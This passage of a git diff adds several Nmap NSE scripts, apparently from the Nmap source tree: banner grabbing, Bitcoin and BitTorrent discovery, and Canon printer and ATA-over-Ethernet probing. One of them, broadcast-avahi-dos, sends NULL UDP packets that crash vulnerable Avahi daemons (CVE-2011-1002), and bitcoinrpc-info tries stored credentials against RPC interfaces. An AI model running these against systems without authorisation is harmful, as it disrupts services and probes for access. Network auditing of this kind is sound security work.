+ to_return["Description"] = standard_query(sock, "description")
+
+ -- Location
+ to_return["Location"] = standard_query(sock, "location")
+
+ end
+ else
+ -- return nothing, no BACNet was detected
+ -- close socket
+ sock:close()
+ return nil
+ end
+ -- close socket
+ sock:close()
+ -- return all information that was found
+ return to_return
+
+end
diff --git a/scripts/banner.nse b/scripts/banner.nse
new file mode 100644
index 0000000..1482d16
--- /dev/null
+++ b/scripts/banner.nse
@@ -0,0 +1,198 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local table = require "table"
+local U = require "lpeg-utility"
+
+description = [[
+A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.
+
+The banner will be truncated to fit into a single line, but an extra line may be printed for every
+increase in the level of verbosity requested on the command line.
+]]
+
+---
+-- @output
+-- 21/tcp open ftp
+-- |_ banner: 220 FTP version 1.0\x0D\x0A
+-- @arg banner.ports Which ports to grab. Same syntax as -p option. Use
+-- "common" to only grab common text-protocol banners.
+-- Default: all ports.
+-- @arg banner.timeout How long to wait for a banner. Default: 5s
+
+
+author = "jah"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+
+local portarg = stdnse.get_script_args(SCRIPT_NAME .. ".ports")
+if portarg then
+ if portarg == "common" then
+ portarg = "13,17,21-23,25,129,194,587,990,992,994,6667,6697"
+ end
+ -- ensure TCP
+ portarg = portarg:gsub("^[T:]*", "T:")
+ portrule = shortport.port_range(portarg)
+else
+ portrule = function(host, port) return port.protocol == "tcp" end
+end
+
+
+---
+-- Grabs a banner and outputs it nicely formatted.
+action = function( host, port )
+
+ local out = grab_banner(host, port)
+ return output( out )
+
+end
+
+
+
+---
+-- Connects to the target on the given port and returns any data issued by a listening service.
+-- @param host Host Table.
+-- @param port Port Table.
+-- @return String or nil if data was not received.
+function grab_banner(host, port)
+ -- Did the service engine already do the hard work?
+ if port.version and port.version.service_fp then
+ local response = U.get_response(port.version.service_fp, "NULL")
+ if response then
+ return response:match("^%s*(.-)%s*$");
+ end
+ end
+
+ local opts = {}
+ opts.timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+ opts.timeout = (opts.timeout or 5) * 1000
+
+ local status, response = comm.get_banner(host, port, opts)
+
+ if not status then
+ local errlvl = { ["EOF"]=3,["TIMEOUT"]=3,["ERROR"]=2 }
+ stdnse.debug(errlvl[response] or 1, "failed for %s on %s port %s. Message: %s", host.ip, port.protocol, port.number, response or "No Message.")
+ return nil
+ end
+
+ return response:match("^%s*(.-)%s*$");
+
+end
+
+
+---
+-- Formats the banner for printing to the port script result.
+--
+-- Non-printable characters are hex encoded and the banner is
+-- then truncated to fit into the number of lines of output desired.
+-- @param out String banner issued by a listening service.
+-- @return String formatted for output.
+function output( out )
+
+ if type(out) ~= "string" or out == "" then return nil end
+
+ local filename = SCRIPT_NAME
+ local line_len = 75 -- The character width of command/shell prompt window.
+ local fline_offset = 5 -- number of chars excluding script id not available to the script on the first line
+
+ -- number of chars available on the first line of output
+ -- we'll skip the first line of output if the filename is looong
+ local fline_len
+ if filename:len() < (line_len-fline_offset) then
+ fline_len = line_len -1 -filename:len() -fline_offset
+ else
+ fline_len = 0
+ end
+
+ -- number of chars allowed on subsequent lines
+ local sline_len = line_len -1 -(fline_offset-2)
+
+ -- total number of chars allowed for output (based on verbosity)
+ local total_out_chars
+ if fline_len > 0 then
+ total_out_chars = fline_len + (extra_output()*sline_len)
+ else
+ -- skipped the first line so we'll have an extra lines worth of chars
+ total_out_chars = (1+extra_output())*sline_len
+ end
+
+ -- replace non-printable ascii chars - no need to do the whole string
+ out = replace_nonprint(out, 1+total_out_chars) -- 1 extra char so we can truncate below.
+
+ -- truncate banner to total_out_chars ensuring we remove whole hex encoded chars
+ if out:len() > total_out_chars then
+ while out:len() > total_out_chars do
+ if (out:sub(-4,-1)):match("\\x%x%x") then
+ out = out:sub(1,-1-4)
+ else
+ out = out:sub(1,-1-1)
+ end
+ end
+ out = ("%s..."):format(out:sub(1,total_out_chars-3)) -- -3 for ellipsis
+ end
+
+ -- break into lines - this will look awful if line_len is more than the actual space available on a line...
+ local ptr = fline_len
+ local t = {}
+ while true do
+ if out:len() >= ptr then
+ t[#t+1] = (ptr > 0 and out:sub(1,ptr)) or " " -- single space if we skipped the first line
+ out = out:sub(ptr+1,-1)
+ ptr = sline_len
+ else
+ t[#t+1] = out
+ break
+ end
+ end
+
+ return table.concat(t,"\n")
+
+end
+
+
+
+---
+-- Replaces characters with ASCII values outside of the range of standard printable
+-- characters (decimal 32 to 126 inclusive) with hex encoded equivalents.
+--
+-- The second parameter dictates the number of characters to return, however, if the
+-- last character before the number is reached is one that needs replacing then up to
+-- three characters more than this number may be returned.
+-- If the second parameter is nil, no limit is applied to the number of characters
+-- that may be returned.
+-- @param s String on which to perform substitutions.
+-- @param len Number of characters to return.
+-- @return String.
+function replace_nonprint( s, len )
+
+ local t = {}
+ local count = 0
+
+ for c in s:gmatch(".") do
+ if c:byte() < 32 or c:byte() > 126 then
+ t[#t+1] = ("\\x%s"):format( ("0%s"):format( ( (stdnse.tohex( c:byte() )):upper() ) ):sub(-2,-1) ) -- capiche
+ count = count+4
+ else
+ t[#t+1] = c
+ count = count+1
+ end
+ if type(len) == "number" and count >= len then break end
+ end
+
+ return table.concat(t)
+
+end
+
+
+
+---
+-- Returns a number for each level of verbosity specified on the command line.
+--
+-- Ignores level increases resulting from debugging level.
+-- @return Number
+function extra_output()
+ return (nmap.verbosity()-nmap.debugging()>0 and nmap.verbosity()-nmap.debugging()) or 0
+end
diff --git a/scripts/bitcoin-getaddr.nse b/scripts/bitcoin-getaddr.nse
new file mode 100644
index 0000000..a4d6d3f
--- /dev/null
+++ b/scripts/bitcoin-getaddr.nse
@@ -0,0 +1,76 @@
+local datetime = require "datetime"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local target = require "target"
+
+local bitcoin = stdnse.silent_require "bitcoin"
+
+description = [[
+Queries a Bitcoin server for a list of known Bitcoin nodes
+]]
+
+---
+-- @usage
+-- nmap -p 8333 --script bitcoin-getaddr <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8333/tcp open unknown
+-- | bitcoin-getaddr:
+-- | ip timestamp
+-- | 10.10.10.10:8333 11/09/11 17:38:00
+-- | 10.10.10.11:8333 11/09/11 17:42:39
+-- | 10.10.10.12:8333 11/09/11 19:34:07
+-- | 10.10.10.13:8333 11/09/11 17:37:45
+-- |_ 10.10.10.14:8333 11/09/11 17:37:12
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+--
+-- Version 0.1
+--
+-- Created 11/09/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+portrule = shortport.port_or_service(8333, "bitcoin", "tcp" )
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local bcoin = bitcoin.Helper:new(host, port, { timeout = 20000 })
+ local status = bcoin:connect()
+
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, ver = bcoin:exchVersion()
+ if ( not(status) ) then
+ return fail("Failed to extract version information: " .. ver)
+ end
+
+ local status, nodes = bcoin:getNodes()
+ if ( not(status) ) then
+ return fail("Failed to extract address information" .. nodes)
+ end
+ bcoin:close()
+
+ local response = tab.new(2)
+ tab.addrow(response, "ip", "timestamp")
+
+ for _, node in ipairs(nodes or {}) do
+ if ( target.ALLOW_NEW_TARGETS ) then
+ target.add(node.address.host)
+ end
+ tab.addrow(response, ("%s:%d"):format(node.address.host, node.address.port), datetime.format_timestamp(node.ts))
+ end
+
+ if ( #response > 1 ) then
+ return stdnse.format_output(true, tab.dump(response) )
+ end
+end
diff --git a/scripts/bitcoin-info.nse b/scripts/bitcoin-info.nse
new file mode 100644
index 0000000..b3a5194
--- /dev/null
+++ b/scripts/bitcoin-info.nse
@@ -0,0 +1,75 @@
+local os = require "os"
+local datetime = require "datetime"
+local bitcoin = require "bitcoin"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Extracts version and node information from a Bitcoin server
+]]
+
+---
+-- @usage
+-- nmap -p 8333 --script bitcoin-info <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8333/tcp open bitcoin
+-- | bitcoin-info:
+-- | Timestamp: 2018-03-09T06:25:49
+-- | Network: main
+-- | Version: 0.7.0
+-- | Node Id: 26855fa1ac038c12
+-- | Lastblock: 512702
+-- |_ User Agent: /Satoshi:0.14.2/
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+--
+-- Version 0.1
+--
+-- Created 11/09/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+
+portrule = shortport.port_or_service(8333, "bitcoin", "tcp" )
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local NETWORK = {
+ [3652501241] = "main",
+ [3669344250] = "testnet"
+ }
+
+ local bcoin = bitcoin.Helper:new(host, port, { timeout = 10000 })
+ local status = bcoin:connect()
+
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local request_time = os.time()
+ local status, ver = bcoin:exchVersion()
+ if ( not(status) ) then
+ return fail("Failed to extract version information")
+ end
+ bcoin:close()
+ datetime.record_skew(host, ver.timestamp, request_time)
+
+ local result = stdnse.output_table()
+ result["Timestamp"] = datetime.format_timestamp(ver.timestamp)
+ result["Network"] = NETWORK[ver.magic]
+ result["Version"] = ver.ver
+ result["Node Id"] = ver.nodeid
+ result["Lastblock"] = ver.lastblock
+ if ver.user_agent ~= "" then
+ result["User Agent"] = ver.user_agent
+ end
+
+ return result
+end
diff --git a/scripts/bitcoinrpc-info.nse b/scripts/bitcoinrpc-info.nse
new file mode 100644
index 0000000..66208a6
--- /dev/null
+++ b/scripts/bitcoinrpc-info.nse
@@ -0,0 +1,165 @@
+local creds = require "creds"
+local http = require "http"
+local json = require "json"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Obtains information from a Bitcoin server by calling <code>getinfo</code> on its JSON-RPC interface.
+]]
+
+---
+-- @usage
+-- nmap -p 8332 --script bitcoinrpc-info --script-args creds.global=<user>:<pass> <target>
+-- @args creds.global http credentials used for the query (user:pass)
+-- @output
+-- 8332/tcp open unknown
+-- | bitcoinrpc-info.nse:
+-- | root:
+-- | balance: 0
+-- | blocks: 135041
+-- | connections: 36
+-- | difficulty: 1379223.4296725
+-- | generate: false
+-- | genproclimit: -1
+-- | hashespersec: 0
+-- | keypoololdest: 1309381827
+-- | paytxfee: 0
+-- | testnet: false
+-- |_ version: 32100
+--
+-- @xmloutput
+-- <table key="root">
+-- <elem key="balance">0</elem>
+-- <elem key="blocks">135041</elem>
+-- <elem key="connections">36</elem>
+-- <elem key="difficulty">1379223.4296725</elem>
+-- <elem key="generate">false</elem>
+-- <elem key="genproclimit">-1</elem>
+-- <elem key="hashespersec">0</elem>
+-- <elem key="keypoololdest">1309381827</elem>
+-- <elem key="paytxfee">0</elem>
+-- <elem key="testnet">false</elem>
+-- <elem key="version">32100</elem>
+-- </table>
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"http-brute"}
+
+
+portrule = shortport.portnumber(8332)
+
+-- JSON-RPC helpers
+
+local function request(method, params, id)
+ json.make_array(params)
+ local req = {method = method, params = params, id = id}
+ local serial = json.generate(req)
+ return serial
+end
+
+local function response(serial)
+ local _, response = json.parse(serial)
+ local result = response["result"]
+ return result
+end
+
+local ServiceProxy = {}
+function ServiceProxy:new(host, port, path, options)
+ local o = {}
+ setmetatable(o, self)
+ self.host = host
+ self.port = port
+ self.path = path
+ self.options = options
+ self.__index = function(_, method)
+ return function(...)
+ return self:call(method, table.pack(...))
+ end
+ end
+ return o
+end
+
+function ServiceProxy:remote(req)
+ local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)
+ if httpdata.status == 200 then
+ return httpdata.body
+ end
+end
+
+function ServiceProxy:call(method, args)
+ local FIRST = 1
+ local req = request(method, args, FIRST)
+ local ret = self:remote(req)
+ if not ret then
+ return
+ end
+ local result = response(ret)
+ return result
+end
+
+-- Convert an integer into a broken-down version number.
+-- Prior to version 0.3.13, versions are 3-digit numbers as so:
+-- 200 -> 0.2.0
+-- 300 -> 0.3.0
+-- 310 -> 0.3.10
+-- In 0.3.13 and later, they are 5-digit numbers as so:
+-- 31300 -> 0.3.13
+-- 31900 -> 0.3.19
+-- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0
+local function decode_bitcoin_version(n)
+ if n < 31300 then
+ local minor, micro = n // 100, n % 100
+ return string.format("0.%d.%d", minor, micro)
+ else
+ local minor, micro = n // 10000, (n // 100) % 100
+ return string.format("0.%d.%d", minor, micro)
+ end
+end
+
+local function formatpairs(info)
+ local result = stdnse.output_table()
+ local keys = tableaux.keys(info)
+ table.sort(keys)
+ for _, k in ipairs(keys) do
+ if info[k] ~= "" then
+ result[k] = info[k]
+ end
+ end
+ return result
+end
+
+local function getinfo(host, port, user, pass)
+ local auth = {username = user, password = pass}
+ local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth})
+ return bitcoind.getinfo()
+end
+
+action = function(host, port)
+ local response = stdnse.output_table()
+ local c = creds.Credentials:new(creds.ALL_DATA, host, port)
+ local states = creds.State.VALID + creds.State.PARAM
+ for cred in c:getCredentials(states) do
+ local info = getinfo(host, port, cred.user, cred.pass)
+ if info then
+ local result = formatpairs(info)
+ response[cred.user] = result
+
+ port.version.name = "http"
+ port.version.product = "Bitcoin JSON-RPC"
+ if info.version then
+ port.version.version = decode_bitcoin_version(info.version)
+ end
+ nmap.set_port_version(host, port)
+ end
+ end
+
+ return response
+end
+
diff --git a/scripts/bittorrent-discovery.nse b/scripts/bittorrent-discovery.nse
new file mode 100644
index 0000000..0fbd22d
--- /dev/null
+++ b/scripts/bittorrent-discovery.nse
@@ -0,0 +1,139 @@
+local stdnse = require "stdnse"
+local table = require "table"
+local target = require "target"
+
+
+local bittorrent = stdnse.silent_require "bittorrent"
+
+description = [[
+Discovers bittorrent peers sharing a file based on a user-supplied
+torrent file or magnet link. Peers implement the Bittorrent protocol
+and share the torrent, whereas the nodes (only shown if the
+include-nodes NSE argument is given) implement the DHT protocol and
+are used to track the peers. The sets of peers and nodes are not the
+same, but they usually intersect.
+
+If the <code>newtargets</code> script-arg is supplied it adds the discovered
+peers as targets.
+]]
+
+---
+-- @usage
+-- nmap --script bittorrent-discovery --script-args newtargets,bittorrent-discovery.torrent=<torrent_file>
+--
+-- @args bittorrent-discovery.torrent a string containing the filename of the torrent file
+-- @args bittorrent-discovery.magnet a string containing the magnet link of the torrent
+-- @args bittorrent-discovery.timeout desired (not actual) timeout for the DHT discovery (default = 30s)
+-- @args bittorrent-discovery.include-nodes boolean selecting whether to show only nodes
+--
+-- @output
+-- | bittorrent-discovery:
+-- | Peers:
+-- | 97.88.178.168
+-- | 89.100.184.36
+-- | 86.185.55.212
+-- | Total of 3 peers discovered
+-- | Nodes:
+-- | 68.103.0.189
+-- | 67.164.32.71
+-- | 24.121.13.69
+-- | 207.112.100.224
+-- | Total of 4 nodes discovered
+-- |_ Use the newtargets script-arg to add the results as targets
+--
+
+author = "Gorjan Petrovski"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery","safe"}
+
+
+prerule = function()
+ if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and
+ not stdnse.get_script_args(SCRIPT_NAME..".magnet") then
+ stdnse.debug3("Skipping '%s' %s, No magnet link or torrent file arguments.", SCRIPT_NAME, SCRIPT_TYPE)
+ return false
+ end
+ return true
+end
+
+action = function()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
+ local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent")
+ local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet")
+ local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes")
+
+ local t = bittorrent.Torrent:new()
+ if filename then
+ local status, err = t:load_from_file(filename)
+ if not status then
+ return stdnse.format_output(false, err)
+ end
+ elseif magnet then
+ local status, err = t:load_from_magnet(magnet)
+ if not status then
+ return stdnse.format_output(false, err)
+ end
+ end
+ t:trackers_peers()
+ t:dht_peers(timeout)
+
+ local output = {}
+ local peers = {}
+ peers.name = "Peers:"
+ local nodes = {}
+ nodes.name = "Nodes:"
+
+ -- add peers
+ if target.ALLOW_NEW_TARGETS then
+ for peer_ip in pairs(t.peers) do
+ target.add(peer_ip)
+ table.insert(peers, peer_ip)
+ end
+ if #peers>0 then
+ table.insert(peers, "Total of "..#peers.." peers discovered")
+ end
+ else
+ for peer_ip in pairs(t.peers) do
+ table.insert(peers, peer_ip)
+ end
+ if #peers>0 then
+ table.insert(peers, "Total of "..#peers.." peers discovered")
+ end
+ end
+
+ -- add nodes
+ if target.ALLOW_NEW_TARGETS and include_nodes then
+ for node_ip in pairs(t.nodes) do
+ target.add(node_ip)
+ table.insert(nodes, node_ip)
+ end
+ if #nodes >0 then
+ table.insert(nodes, "Total of "..#nodes.." nodes discovered")
+ end
+ elseif include_nodes then
+ for node_ip in pairs(t.nodes) do
+ table.insert(nodes, node_ip)
+ end
+ if #nodes >0 then
+ table.insert(nodes, "Total of "..#nodes.." nodes discovered")
+ end
+ end
+
+ local print_out = false
+
+ if #peers > 0 then
+ table.insert(output, peers)
+ print_out = true
+ end
+
+ if include_nodes and #nodes > 0 then
+ table.insert(output, nodes)
+ print_out = true
+ end
+
+ if print_out and not target.ALLOW_NEW_TARGETS then
+ table.insert(output,"Use the newtargets script-arg to add the results as targets")
+ end
+
+ return stdnse.format_output( print_out , output)
+end
diff --git a/scripts/bjnp-discover.nse b/scripts/bjnp-discover.nse
new file mode 100644
index 0000000..2547fa0
--- /dev/null
+++ b/scripts/bjnp-discover.nse
@@ -0,0 +1,50 @@
+description = [[
+Retrieves printer or scanner information from a remote device supporting the
+BJNP protocol. The protocol is known to be supported by network based Canon
+devices.
+]]
+
+---
+-- @usage
+-- sudo nmap -sU -p 8611,8612 --script bjnp-discover <ip>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8611/udp open canon-bjnp1
+-- | bjnp-discover:
+-- | Manufacturer: Canon
+-- | Model: MG5200 series
+-- | Description: Canon MG5200 series
+-- | Firmware version: 1.050
+-- |_ Command: BJL,BJRaster3,BSCCe,NCCe,IVEC,IVECPLI
+-- 8612/udp open canon-bjnp2
+-- | bjnp-discover:
+-- | Manufacturer: Canon
+-- | Model: MG5200 series
+-- | Description: Canon MG5200 series
+-- |_ Command: MultiPass 2.1,IVEC
+--
+
+categories = {"safe", "discovery"}
+author = "Patrik Karlsson"
+
+local bjnp = require("bjnp")
+local shortport = require("shortport")
+local stdnse = require("stdnse")
+
+portrule = shortport.portnumber({8611, 8612}, "udp")
+
+action = function(host, port)
+ local helper = bjnp.Helper:new(host, port)
+ if ( not(helper:connect()) ) then
+ return stdnse.format_output(false, "Failed to connect to server")
+ end
+ local status, attrs
+ if ( port.number == 8611 ) then
+ status, attrs = helper:getPrinterIdentity()
+ else
+ status, attrs = helper:getScannerIdentity()
+ end
+ helper:close()
+ return stdnse.format_output(true, attrs)
+end
diff --git a/scripts/broadcast-ataoe-discover.nse b/scripts/broadcast-ataoe-discover.nse
new file mode 100644
index 0000000..d3a6285
--- /dev/null
+++ b/scripts/broadcast-ataoe-discover.nse
@@ -0,0 +1,165 @@
+local math = require "math"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Discovers servers supporting the ATA over Ethernet protocol. ATA over Ethernet
+is an ethernet protocol developed by the Brantley Coile Company and allows for
+simple, high-performance access to SATA drives over Ethernet.
+
+Discovery is performed by sending a Query Config Request to the Ethernet
+broadcast address with all bits set in the major and minor fields of the
+header.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-ataoe-discover -e <interface>
+--
+-- @output
+-- Pre-scan script results:
+-- | broadcast-ataoe-discover:
+-- |_ Server: 08:00:27:12:34:56; Version: 1; Major: 0; Minor: 1
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "safe"}
+
+
+prerule = function() return true end
+
+-- The minimalistic ATAoE interface
+ATAoE = {
+
+ -- Supported commands
+ Cmd = {
+ QUERY_CONFIG_INFORMATION = 1,
+ },
+
+ Header = {
+ -- creates a new Header instance
+ new = function(self, cmd, tag)
+ local o = {
+ version = 1,
+ flags = 0,
+ major = 0xffff,
+ minor = 0xff,
+ error = 0,
+ cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,
+ tag = tag or math.random(0,0xffffffff),
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- parses a raw string of data and creates a new Header instance
+ -- @return header new instance of header
+ parse = function(data)
+ local header = ATAoE.Header:new()
+ local pos, verflags
+
+ verflags, header.error,
+ header.major, header.minor,
+ header.cmd, header.tag, pos = string.unpack(">BBI2BBI4", data)
+ header.version = verflags >> 4
+ header.flags = verflags & 0x0F
+ return header
+ end,
+
+ -- return configuration info request as string
+ __tostring = function(self)
+ assert(self.tag, "No tag was specified in Config Info Request")
+ local verflags = self.version << 4
+ return string.pack(">BBI2BBI4", verflags, self.error, self.major, self.minor, self.cmd, self.tag)
+ end,
+ },
+
+ -- The Configuration Info Request
+ ConfigInfoRequest = {
+ new = function(self, tag)
+ local o = {
+ header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+ }
+}
+
+-- Send a Config Info Request to the ethernet broadcast address
+-- @param iface table as returned by nmap.get_interface_info()
+local function sendConfigInfoRequest(iface)
+ local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2
+ local req = ATAoE.ConfigInfoRequest:new()
+ local tag = req.tag
+
+ local p = packet.Frame:new()
+ p.mac_src = iface.mac
+ p.mac_dst = packet.mactobin(ETHER_BROADCAST)
+ p.ether_type = string.pack(">I2", P_ATAOE)
+ p.buf = tostring(req)
+ p:build_ether_frame()
+
+ local dnet = nmap.new_dnet()
+ dnet:ethernet_open(iface.device)
+ dnet:ethernet_send(p.frame_buf)
+ dnet:ethernet_close()
+end
+
+action = function()
+
+ local iname = nmap.get_interface()
+ if ( not(iname) ) then
+ stdnse.verbose1("No interface supplied, use -e")
+ return
+ end
+
+ if ( not(nmap.is_privileged()) ) then
+ stdnse.verbose1("not running for lack of privileges")
+ return
+ end
+
+ local iface = nmap.get_interface_info(iname)
+ if ( not(iface) ) then
+ return stdnse.format_output(false, "Failed to retrieve interface information")
+ end
+
+ local pcap = nmap.new_socket()
+ pcap:set_timeout(5000)
+ pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac))
+
+ sendConfigInfoRequest(iface)
+
+ local result = {}
+ repeat
+ local status, len, l2_data, l3_data = pcap:pcap_receive()
+
+ if ( status ) then
+ local header = ATAoE.Header.parse(l3_data)
+ local f = packet.Frame:new(l2_data)
+ f:ether_parse()
+
+ local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format(
+ stdnse.format_mac(f.mac_src),
+ header.version,
+ header.major,
+ header.minor)
+ table.insert(result, str)
+ end
+ until( not(status) )
+ pcap:pcap_close()
+
+ if ( #result > 0 ) then
+ return stdnse.format_output(true, result)
+ end
+end
diff --git a/scripts/broadcast-avahi-dos.nse b/scripts/broadcast-avahi-dos.nse
new file mode 100644
index 0000000..34f25dd
--- /dev/null
+++ b/scripts/broadcast-avahi-dos.nse
@@ -0,0 +1,108 @@
+local dnssd = require "dnssd"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description=[[
+Attempts to discover hosts in the local network using the DNS Service
+Discovery protocol and sends a NULL UDP packet to each host to test
+if it is vulnerable to the Avahi NULL UDP packet denial of service
+(CVE-2011-1002).
+
+The <code>broadcast-avahi-dos.wait</code> script argument specifies how
+many number of seconds to wait before a new attempt of host discovery.
+Each host who does not respond to this second attempt will be considered
+vulnerable.
+
+Reference:
+* http://avahi.org/ticket/325
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002
+]]
+
+
+---
+-- @usage
+-- nmap --script=broadcast-avahi-dos
+--
+-- @output
+-- | broadcast-avahi-dos:
+-- | Discovered hosts:
+-- | 10.0.1.150
+-- | 10.0.1.151
+-- | After NULL UDP avahi packet DoS (CVE-2011-1002).
+-- | Hosts that seem down (vulnerable):
+-- |_ 10.0.1.151
+--
+-- @args broadcast-avahi-dos.wait Wait time in seconds before executing
+-- the check, the default value is 20 seconds.
+
+
+author = "Djalal Harouni"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast", "dos", "intrusive", "vuln"}
+
+
+prerule = function() return true end
+
+avahi_send_null_udp = function(ip)
+ local socket = nmap.new_socket("udp")
+ local status = socket:sendto(ip, 5353, "")
+ socket:close()
+ return status
+end
+
+action = function()
+ local wtime = stdnse.get_script_args("broadcast-avahi-dos.wait") or 20
+ local helper = dnssd.Helper:new()
+ helper:setMulticast(true)
+
+ local status, result = helper:queryServices()
+ if (status) then
+ local output, hosts, tmp = {}, {}, {}
+ for _, hostcfg in pairs(result) do
+ for k, ip in pairs(hostcfg) do
+ if type(k) == "string" and k == "name" then
+ if avahi_send_null_udp(ip) then
+ table.insert(hosts, ip)
+ tmp[ip] = true
+ end
+ end
+ end
+ end
+
+ if next(hosts) then
+ hosts.name = "Discovered hosts:"
+ table.insert(output, hosts)
+ table.insert(output,
+ "After NULL UDP avahi packet DoS (CVE-2011-1002).")
+
+ stdnse.debug3("sleeping for %d seconds", wtime)
+ stdnse.sleep(wtime)
+ -- try to re-discover hosts
+ status, result = helper:queryServices()
+ if (status) then
+ for _, hostcfg in pairs(result) do
+ for k, ip in pairs(hostcfg) do
+ if type(k) == "string" and k == "name" and tmp[ip] then
+ tmp[ip] = nil
+ end
+ end
+ end
+ end
+
+ local vulns = {}
+ for ip, _ in pairs(tmp) do
+ table.insert(vulns, ip)
+ end
+
+ if next(vulns) then
+ vulns.name = "Hosts that seem down (vulnerable):"
+ table.insert(output, vulns)
+ else
+ table.insert(output, "Hosts are all up (not vulnerable).")
+ end
+
+ return stdnse.format_output(true, output)
+ end
+ end
+end
diff --git a/scripts/broadcast-bjnp-discover.nse b/scripts/broadcast-bjnp-discover.nse
new file mode 100644
index 0000000..45d89bb
--- /dev/null
+++ b/scripts/broadcast-bjnp-discover.nse
@@ -0,0 +1,174 @@
+description = [[
+Attempts to discover Canon devices (Printers/Scanners) supporting the
+BJNP protocol by sending BJNP Discover requests to the network
+broadcast address for both ports associated with the protocol.
+
+The script then attempts to retrieve the model, version and some additional
+information for all discovered devices.
+]]
+
+---
+-- @usage
+-- nmap --script broadcast-bjnp-discover
+--
+-- @output
+-- | broadcast-bjnp-discover:
+-- | 192.168.0.10
+-- | Printer
+-- | Manufacturer: Canon
+-- | Model: MG5200 series
+-- | Description: Canon MG5200 series
+-- | Firmware version: 1.050
+-- | Command: BJL,BJRaster3,BSCCe,NCCe,IVEC,IVECPLI
+-- | Scanner
+-- | Manufacturer: Canon
+-- | Model: MG5200 series
+-- | Description: Canon MG5200 series
+-- |_ Command: MultiPass 2.1,IVEC
+--
+-- @args broadcast-bjnp-discover.timeout specifies the amount of seconds to sniff
+-- the network interface. (default 30s)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "broadcast"}
+
+local bjnp = require("bjnp")
+local stdnse = require("stdnse")
+local coroutine = require("coroutine")
+local nmap = require("nmap")
+local table = require("table")
+
+local printer_port = { number = 8611, protocol = "udp"}
+local scanner_port = { number = 8612, protocol = "udp"}
+local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
+
+prerule = function()
+ if ( nmap.address_family() ~= 'inet' ) then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+ return true
+end
+
+local function identifyDevices(devices, devtype)
+ local result
+ local port = ( "printers" == devtype and printer_port or scanner_port )
+ for _, ip in ipairs(devices or {}) do
+ local helper = bjnp.Helper:new({ ip = ip }, port)
+ if ( helper:connect() ) then
+ local status, attrs
+ if ( "printers" == devtype ) then
+ status, attrs = helper:getPrinterIdentity()
+ end
+ if ( "scanners" == devtype ) then
+ status, attrs = helper:getScannerIdentity()
+ end
+ if ( status ) then
+ result = result or {}
+ result[ip] = attrs
+ end
+ end
+ helper:close()
+ end
+ return result
+end
+
+local function identifyScanners(scanners)
+ return identifyDevices(scanners, "scanners")
+end
+
+local function identifyPrinters(printers)
+ return identifyDevices(printers, "printers")
+end
+
+local function getKeys(devices)
+ local dupes = {}
+ local function iter()
+ for k, _ in pairs(devices) do
+ for k2, _ in pairs(devices[k]) do
+ if ( not(dupes[k2]) ) then
+ dupes[k2] = true
+ coroutine.yield(k2)
+ end
+ end
+ end
+ coroutine.yield(nil)
+ end
+ return coroutine.wrap(iter)
+end
+
+local function getPrinters(devices)
+ local condvar = nmap.condvar(devices)
